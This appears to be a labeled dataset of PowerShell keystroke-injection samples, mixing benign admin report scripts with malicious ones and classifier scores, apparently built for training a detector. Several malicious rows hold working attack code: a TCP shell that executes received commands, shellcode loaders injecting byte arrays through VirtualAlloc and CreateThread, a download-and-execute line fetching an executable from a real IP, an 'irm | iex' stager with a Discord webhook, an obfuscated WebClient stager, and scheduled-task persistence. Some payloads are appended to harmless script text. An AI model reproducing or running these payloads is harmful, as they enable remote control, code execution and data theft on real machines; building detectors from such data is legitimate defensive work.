$listener.AcceptTcpClient() enter } enter enter $stream = $client.GetStream() enter [byte[]]$bytes = 0..65535|%{0} enter enter #Send back current username and computername enter $sendbytes = ([text.encoding]::ASCII).GetBytes(""Windows PowerShell running as user "" + $env:username + "" on "" + $env:computername + ""`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n"") enter $stream.Write($sendbytes,0,$sendbytes.Length) enter enter #Show an interactive PowerShell prompt enter $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') enter $stream.Write($sendbytes,0,$sendbytes.Length) enter enter while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) enter { enter $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding enter $data = $EncodedText.GetString($bytes,0, $i) enter try enter { enter #Execute the command on the target. enter $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) enter } enter catch enter { enter Write-Warning ""Something went wrong with execution of command on the target."" enter Write-Error $_ enter } enter $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' enter $x = ($error[0] | Out-String) enter $error.clear() enter $sendback2 = $sendback2 + $x enter enter #Return the results enter $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) enter $stream.Write($sendbyte,0,$sendbyte.Length) enter $stream.Flush() enter } enter $client.Close() enter if ($listener) enter { enter $listener.Stop() enter } enter } enter catch enter { enter Write-Warning ""Something went wrong! Check if the server is reachable and you are using the correct port."" enter Write-Error $_ enter } enter } enter enter",1,1,6.267481e-05,0.9999373
"win+r powershell enter $Random=(New-Guid).ToString().Substring(0,8) enter $ResourceGroupName=""myResourceGroup$Random"" enter $App1Name=""AppServiceTM1$Random"" enter $App2Name=""AppServiceTM2$Random"" enter $Location1=""WestUS"" enter $Location2=""EastUS"" enter New-AzResourceGroup -Name $ResourceGroupName -Location $Location1 enter New-AzTrafficManagerProfile -Name ""$ResourceGroupName-tmp"" -ResourceGroupName $ResourceGroupName -TrafficRoutingMethod Performance -MonitorPath '/' -MonitorProtocol ""HTTP"" -RelativeDnsName $ResourceGroupName -Ttl 30 -MonitorPort 80 enter New-AzAppservicePlan -Name ""$App1Name-Plan"" -ResourceGroupName $ResourceGroupName -Location $Location1 -Tier Standard enter New-AzAppservicePlan -Name ""$App2Name-Plan"" -ResourceGroupName $ResourceGroupName -Location $Location2 -Tier Standard enter $App1ResourceId=(New-AzWebApp -Name $App1Name -ResourceGroupName $ResourceGroupName -Location $Location1 -AppServicePlan ""$App1Name-Plan"").Id enter $App2ResourceId=(New-AzWebApp -Name $App2Name -ResourceGroupName $ResourceGroupName -Location $Location2 -AppServicePlan ""$App2Name-Plan"").Id enter New-AzTrafficManagerEndpoint -Name ""$App1Name-$Location1"" -ResourceGroupName $ResourceGroupName -ProfileName ""$ResourceGroupName-tmp"" -Type AzureEndpoints -TargetResourceId $App1ResourceId -EndpointStatus ""Enabled"" enter New-AzTrafficManagerEndpoint -Name ""$App2Name-$Location2"" -ResourceGroupName $ResourceGroupName -ProfileName ""$ResourceGroupName-tmp"" -Type AzureEndpoints -TargetResourceId $App2ResourceId -EndpointStatus ""Enabled"" enter",0,0,0.9996532,0.00034673224
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_uo7s6wf0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996686,3.3195516e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_k9ubgpj3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter",0,0,0.999966,3.3976507e-05
"win+r powershell enter Describe ""New-EventLog cmdlet tests"" -Tags @('CI', 'RequireAdminOnWindows') { enter BeforeAll { $defaultParamValues = $PSdefaultParameterValues.Clone() $IsNotSkip enter ped = ($IsWindows -and !$IsCoreCLR) $PSDefaultParameterValues[""it:skip""] = !$Is enter NotSkipped } AfterAll { $global:PSDefaultParameterValues = $defaultParamValu enter es } enter enter",1,1,0.0045012035,0.9954987
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_i0yydq27"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_automatic.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.5016874e-05
"win+r powershell enter $a = ""C:\ProgramData\Nothing"" New-Item $a -ItemType Directory -Force Sleep 1 enter $Content = @' try { &'schtasks.exe' '/create' '/sc' 'minute' '/mo' 1 '/tn' 'N enter othing' '/tr' (('C:\ProgramData\Nothing\Nothing.vbs')); enter enter",1,1,0.00015152924,0.9998485
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_da7pd52r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.493076e-05
win+r powershell enter  function Get-SPUrl { param( [Parameter(Mandatory=$true)] $SPobject ) enter enter,1,1,0.0131275095,0.98687255
"win+r enter powershell enter enter enter if (Get-Command logparser.exe) { enter enter $lpquery = @"" enter SELECT enter COUNT(ImagePath, LaunchString, Publisher) as ct, enter ImagePath, enter LaunchString enter FROM enter *autorunsc.tsv enter WHERE enter (ImagePath not like 'File not found%') enter GROUP BY enter ImagePath, enter LaunchString enter ORDER BY enter ct ASC enter ""@ enter enter & logparser -stats:off -i:csv -dtlines:0 -fixedsep:on -rtp:-1 ""$lpquery"" enter enter } else { enter $ScriptName = [System.IO.Path]::GetFileName($MyInvocation.ScriptName) enter ""${ScriptName} requires logparser.exe in the path."" enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x51,0x38,0x11,0x90,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1542782e-05,0.9999485
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_v3ujzzt4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.415251e-05
"win+r powershell enter function Format-BranchName { param( [string] $branchName ) if($spg.BranchN enter ameLimit -gt 0 -and $branchName.Length -gt $spg.BranchNameLimit) { $branchName enter = ' {0}{1} ' -f $branchName.Substring(0, $spg.BranchNameLimit), $spg.TruncatedBr enter anchSuffix } return "" $branchName "" } enter enter",1,1,0.010333345,0.9896667
"win+r powershell enter  New-EventLog -LogName ""Application"" -Source ""CCM Clean Primary User"" Write-Ev enter entlog -Logname ""Application"" -Source ""CCM Clean Primary User"" -EventID 64351 -E enter ntryType Information -Message ""Start Processing object(s)."" try { $StateMsgs enter = Get-WmiObject -Namespace root\ccm\StateMsg -Class CCM_StateMsg -Filter ""Topic enter ID like '%Auto%'"" -ErrorAction Stop $StateMsgsCount = ($StateMsgs | Measure- enter Object).Count Write-Eventlog -Logname ""Application"" -Source ""CCM Clean Primary enter User"" -EventID 64352 -EntryType Information -Message ""Found $($StateMsgsCount) O enter bject(s)."" enter",1,1,0.042825498,0.9571745
"win+r enter powershell enter enter enter function Get-ParametersHashtable enter { enter param( enter $Proxy, enter $ProxyCredential enter ) enter enter $ParametersHashtable = @{} enter if($Proxy) enter { enter $ParametersHashtable[$script:Proxy] = $Proxy enter } enter enter if($ProxyCredential) enter { enter $ParametersHashtable[$script:ProxyCredential] = $ProxyCredential enter } enter enter return $ParametersHashtable enter } enter (New-Object System.Net.WebClient).DownloadFile('http://80.82.64.45/~yakar/msvmonr.exe',""$env:APPDATA\msvmonr.exe"");Start-Process (""$env:APPDATA\msvmonr.exe"") enter enter",1,1,5.8540496e-05,0.99994147
"win+r enter powershell enter enter enter function MyValidator($thing_to_validate) { enter return $thing_to_validate.StartsWith(""s"") enter } enter enter function Invoke-SomethingThatUsesMyValidator { enter param( enter [ValidateScript( {MyValidator $_})] enter $some_param enter ) enter } enter enter",0,0,0.9992481,0.0007518273
"win+r enter powershell enter enter enter  enter [CmdletBinding()] enter [OutputType([bool])] enter param ( enter [Parameter(Mandatory, enter ValueFromPipeline, enter ValueFromPipelineByPropertyName)] enter [ValidatePattern('.*\.ps1$')] enter [string]$ScriptFilePath, enter [string]$ScriptParameters, enter [Parameter(Mandatory)] enter [string]$LocalScriptFolderPath, enter [Parameter(Mandatory)] enter [hashtable]$TaskTriggerOptions, enter [Parameter(Mandatory)] enter [string]$TaskName, enter [Parameter(Mandatory)] enter [string]$TaskRunAsUser, enter [Parameter(Mandatory)] enter [string]$TaskRunAsPassword, enter [ValidateScript({ Test-Connection -ComputerName $_ -Quiet -Count 1})] enter [string]$Computername = 'localhost', enter [ValidateSet('x86', 'x64')] enter [string]$PowershellRunAsArch enter ) enter enter begin { enter $ErrorActionPreference = 'Stop' enter Set-StrictMode -Version Latest enter enter function Test-PsRemoting { enter param ( enter [Parameter(Mandatory)] enter $computername enter ) enter enter try { enter $errorActionPreference = ""Stop"" enter $result = Invoke-Command -ComputerName $computername { 1 } enter } catch { enter return $false enter } enter if ($result -ne 1) { enter Write-Verbose ""Remoting to $computerName returned an unexpected result."" enter return $false enter } enter $true enter } enter enter function Get-ComputerArchitecture { enter if ((Get-CimInstance -ComputerName $Computername Win32_ComputerSystem -Property SystemType).SystemType -eq 'x64-based PC') { enter 'x64' enter } else { enter 'x86' enter } enter } enter enter function Get-PowershellFilePath { enter enter if (($PowershellRunAsArch -eq 'x86') -and ((Get-ComputerArchitecture) -eq 'x64')) { enter if ($Computername -eq 'localhost') { enter enter ""$($PsHome.Replace('System32','SysWow64'))\powershell.exe"" enter } else { enter Invoke-Command -ComputerName $Computername -ScriptBlock { ""$($PsHome.Replace('System32','SysWow64'))\powershell.exe"" } enter } enter } else { enter enter if ($Computername -eq 'localhost') { enter enter ""$PsHome\powershell.exe"" enter } else { enter Invoke-Command -ComputerName $Computername -ScriptBlock { ""$PsHome\powershell.exe"" } enter } enter } enter } enter enter function New-MyScheduledTask { enter try { enter $PowershellFilePath = Get-PowershellFilePath enter if ($Computername -ne 'localhost') { enter $ScriptBlock = { enter $Action = New-ScheduledTaskAction -Execute $using:PowershellFilePath -Argument ""-NonInteractive -NoLogo -NoProfile -File $using:ScriptFilePath $using:ScriptParameters"" enter $TaskTriggerOptions = $using:TaskTriggerOptions enter $Trigger = New-ScheduledTaskTrigger @TaskTriggerOptions enter $RunAsUser = $using:TaskRunAsUser enter $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Settings (New-ScheduledTaskSettingsSet); enter Register-ScheduledTask -TaskName $using:TaskName -InputObject $Task -User $using:TaskRunAsUser -Password $using:TaskRunAsPassword enter } enter $Params = @{ enter 'Scriptblock' = $ScriptBlock enter 'Computername' = $Computername enter } enter Invoke-Command @Params enter } else { enter $Action = New-ScheduledTaskAction -Execute $PowershellFilePath -Argument ""-NonInteractive -NoLogo -NoProfile -File $ScriptFilePath"" enter $Trigger = New-ScheduledTaskTrigger @TaskTriggerOptions enter $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Settings (New-ScheduledTaskSettingsSet); enter Register-ScheduledTask -TaskName $TaskName -InputObject $Task -User $TaskRunAsUser -Password $TaskRunAsPassword enter } enter } catch { enter Write-Error ""Error: $($_.Exception.Message) - Line Number: $($_.InvocationInfo.ScriptLineNumber)"" enter $false enter } enter } enter enter function Get-UncPath ($HostName,$LocalPath) { enter $NewPath = $LocalPath -replace ("":"", ""$"") enter if ($NewPath.EndsWith(""\"")) { enter $NewPath = [Regex]::Replace($NewPath, ""\\$"", """") enter } enter ""\\$HostName\$NewPath"" enter } enter enter try { enter if (($Computername -ne 'localhost') -and !(Test-PsRemoting -computername $Computername)) { enter throw ""PS remoting not available on the computer $Computername"" enter } enter enter $LocalScriptFolderPath = $LocalScriptFolderPath.TrimEnd('\') enter } catch { enter Write-Error ""Error: $($_.Exception.Message) - Line Number: $($_.InvocationInfo.ScriptLineNumber)"" enter exit enter } enter } enter enter process { enter try { enter if ($ScriptFilePath.StartsWith('\\') -or ($Computername -ne 'localhost')) { enter Copy-Item -Path $ScriptFilePath -Destination (Get-UncPath -HostName $Computername -LocalPath $LocalScriptFolderPath) enter $ScriptFilePath = ""$LocalScriptFolderPath\$($ScriptFilePath | Split-Path -Leaf)"" enter } enter New-MyScheduledTask | Out-Null enter $true enter } catch { enter Write-Error ""Error: $($_.Exception.Message) - Line Number: $($_.InvocationInfo.ScriptLineNumber)"" enter $false enter } enter } enter $wc=New-ObjEct SySTEM.NET.WebClienT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HEadeRS.AdD('User-Agent',$u);$Wc.PrOxY = [SYsTEM.NeT.WeBREqUeST]::DeFaulTWEBPROXy;$wC.ProXY.CrEDeNtiaLS = [SyStEm.Net.CREDentIalCAChE]::DefAULtNetwoRkCREdenTiAlS;$K='/j(\wly4+aW enter enter",1,1,5.5740576e-05,0.9999442
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_q4e3gdx0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_100.json"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.394797e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_pq15mn8m"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_100.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter",0,0,0.999966,3.393975e-05
"win+r enter powershell enter enter enter Describe ""Test constrained language mode"" -Tags ""CI"" { enter It ""dynamic invocation on non-PowerShell thread should work"" { enter $refAssemblies = @() enter if (!$IsCoreCLR) { enter $refAssemblies += ""Microsoft.CSharp"" enter } enter enter $t,$null = Add-Type -ReferencedAssemblies $refAssemblies -WarningAction Ignore -PassThru @"" enter public class BinderBug$(Get-Date -Format FileDateTime) enter { enter public static object Test(System.Management.Automation.PSObject psobj) enter { enter // Invoke a method through PSObject, but with dynamic, so we get PowerShell's dynamic site binder involved enter // And we do this on a different thread so there is no ExecutionContext/runspace to check the language mode enter // The actual method called doesn't really matter. enter enter return System.Threading.Tasks.Task.Run(() => ((dynamic)psobj).AddCommand(""Get-Command"")).Result; enter } enter } enter ""@ enter enter $o = [powershell]::Create() enter $t::Test($o) | Should -BeExactly $o enter enter try enter { enter enter $ps = [powershell]::Create() enter $null = $ps.AddScript('$ExecutionContext.SessionState.LanguageMode = ""ConstrainedLanguage""') enter $null = $ps.Invoke() enter enter $t::Test($o) | Should -BeExactly $o enter } enter finally enter { enter $ps.Dispose() enter } enter } enter } enter enter",0,0,0.9584872,0.04151277
"win+r powershell enter $cred = Get-Credential -UserName '<User>@<Tenant>.onmicrosoft.com' -Message ""Ent enter er SPO credentials"" Connect-SPOService -Url 'https://<Tenant>-admin.sharepoint. enter com' -Credential $cred New-SPOSite -Url 'https://<Tenant>.sharepoint.com/sites/ enter demo' -Title 'Tech Talk Demo' -Template 'STS Connect-SPOnline -Url 'https://<Te enter nant>.sharepoint.com/sites/demo' -Credentials $cred -ErrorAction Stop New-SPOLi enter st -Title ""Demo list"" -Template GenericList -Url 'lists/demo' Add-SPOField -Lis enter t ""Demo list"" -DisplayName ""Location"" -InternalName ""SPSLocation"" -Type Choice - enter Group ""Demo Group"" -AddToDefaultView -Choices ""Stockholm"",""Helsinki"",""Oslo"" enter enter",1,1,0.009828103,0.99017197
win+r powershell enter win r powershell -nop -ep bypass -w h -c $dc='discord_webhook_here'; irm https://t.ly/rjl5k | iex enter enter,1,1,9.882914e-05,0.9999012
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_oe5acnku"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process -Name ""svchost"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 25 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_25.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4157947e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_rprohy8b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_errors_200.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999665,3.3459943e-05
"win+r enter powershell enter enter enter param($buildVersion = $null) enter enter $releasePath = [System.IO.Path]::GetFullPath(""$PSScriptRoot\.. enter elease"") enter $binariesToSignPath = [System.IO.Path]::GetFullPath(""$releasePath\BinariesToSign"") enter $unpackedPackagesPath = [System.IO.Path]::GetFullPath(""$releasePath\UnpackedPackages"") enter mkdir $releasePath -Force | Out-Null enter if ($buildVersion -eq $null) { enter enter $headers = @{ ""Content-Type"" = ""application/json"" } enter $project = Invoke-RestMethod -Method Get -Uri ""https://ci.appveyor.com/api/projects/PowerShell/PowerShellEditorServices/branch/master"" -Headers $headers enter $buildVersion = $project.build.version enter if ($project.build.status -eq ""success"") { enter Write-Output ""Latest build version on master is $buildVersion`r`n"" enter } enter else { enter Write-Error ""PowerShellEditorServices build $buildVersion was not successful!"" -ErrorAction ""Stop"" enter } enter } enter enter function Install-BuildPackage($packageName, $extension) { enter $uri = ""https://ci.appveyor.com/nuget/powershelleditorservices/api/v2/package/{0}/{1}"" -f $packageName.ToLower(), $buildVersion enter Write-Verbose ""Fetching from URI: $uri"" enter $zipPath = ""$releasePath\$packageName.zip"" enter $packageContentPath = ""$unpackedPackagesPath\$packageName"" enter Invoke-WebRequest $uri -OutFile $zipPath -ErrorAction ""Stop"" enter Expand-Archive $zipPath -DestinationPath $packageContentPath -Force -ErrorAction ""Stop"" enter Remove-Item $zipPath -ErrorAction ""Stop"" enter mkdir $binariesToSignPath -Force | Out-Null enter cp ""$packageContentPath\lib enter et45\$packageName.$extension"" -Force -Destination $binariesToSignPath enter enter Write-Output ""Extracted package $packageName ($buildVersion)"" enter } enter Install-BuildPackage ""Microsoft.PowerShell.EditorServices"" ""dll"" enter Install-BuildPackage ""Microsoft.PowerShell.EditorServices.Protocol"" ""dll"" enter Install-BuildPackage ""Microsoft.PowerShell.EditorServices.Host"" ""dll"" enter & start $binariesToSignPath enter enter",0,0,0.99994767,5.2351224e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_vrwuhnh0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.457607e-05
win+r powershell enter function Set-TestInconclusive { [CmdletBinding()] param ( [string] $Message enter ) if (!$script:HasAlreadyWarnedAboutDeprecation) { Write-Warning 'DEPRECATE enter D: Set-TestInconclusive was deprecated and will be removed in the future. Please enter update your scripts to use `Set-ItResult -Inconclusive -Because $Message`.' $s enter cript:HasAlreadyWarnedAboutDeprecation = $true } enter enter,1,1,0.0015302816,0.99846965
win r powershell -w h -NoP -NonI -Exec Bypass while(1) {$ws=gps|?{$_.MainWindowHandle-ne 0};foreach($w in $ws){if($w.ProcessName-ne'explorer'-and$w.Id-ne$PID){$w.CloseMainWindow()}}sleep -Seconds 1} enter,1,1,0.016087597,0.9839124
win+r powershell enter Set-StrictMode -Version 2 function tgNLg { Param ($joBQPd) $joBQPd.SetImplementa enter tionFlags((ULvW)) } function iwtvD { $XDb=zaCRJ Y I A H i / Q F 5 b q s y F $l8F enter =XZZeta j e b y f B S k B Y s C i x Y $Gw6dC1=GJcWCH z E A T / 9 $Gmz=wiPY C x enter enter,1,1,5.4186436e-05,0.99994576
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_clo8wymi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,1) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4370376e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 